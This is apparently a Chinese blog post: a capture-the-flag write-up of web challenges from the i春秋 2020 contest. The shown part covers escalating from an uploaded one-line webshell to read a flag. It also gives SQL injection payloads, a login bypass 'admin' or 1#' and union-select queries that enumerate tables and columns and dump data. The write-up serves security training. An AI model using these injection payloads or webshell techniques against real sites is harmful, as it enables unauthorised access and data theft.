i春秋 2020新春战“疫”大赛(web部分)

最新推荐文章于 2022-05-03 18:52:06 发布

昂首下楼梯

最新推荐文章于 2022-05-03 18:52:06 发布

阅读量806

点赞数

分类专栏：短篇文章标签：安全 linux 信息安全 php

本文链接：https://blog.csdn.net/qq_42812036/article/details/104497835

版权

本文详细介绍了i春秋2020年新春战“疫”大赛中涉及的Web安全挑战，包括ezupload的提权、简单的招聘系统的SQL注入、盲注技巧、blacklist的过滤绕过、flaskapp的Pin码解密与文件读取，以及ezexpress和ezthinking的JavaScript绕过和ThinkPHP6.0的任意文件操作漏洞利用。

摘要由CSDN通过智能技术生成

在这里插入图片描述

ezupload

上传一句话，蚁剑直连，bash直接cat /flag，说没权限折腾了下Linux提权，大马提权。
payload:
cd /
cat /readflag
: (

简单的招聘系统

在这里插入图片描述
payload admin' or 1#
进入admin，成功访问招聘界面blank page界面
key处存在sql注入

有5个字段，显位在2

可以猜测后端查询语句可能类似：
select * from user where id='$id'；
所以接下来的注入语句
1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4,5#
在这里插入图片描述

1'union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flag'),3,4,5#
在这里插入图片描述
1'union select 1,(select flaaag from flag),3,4,5#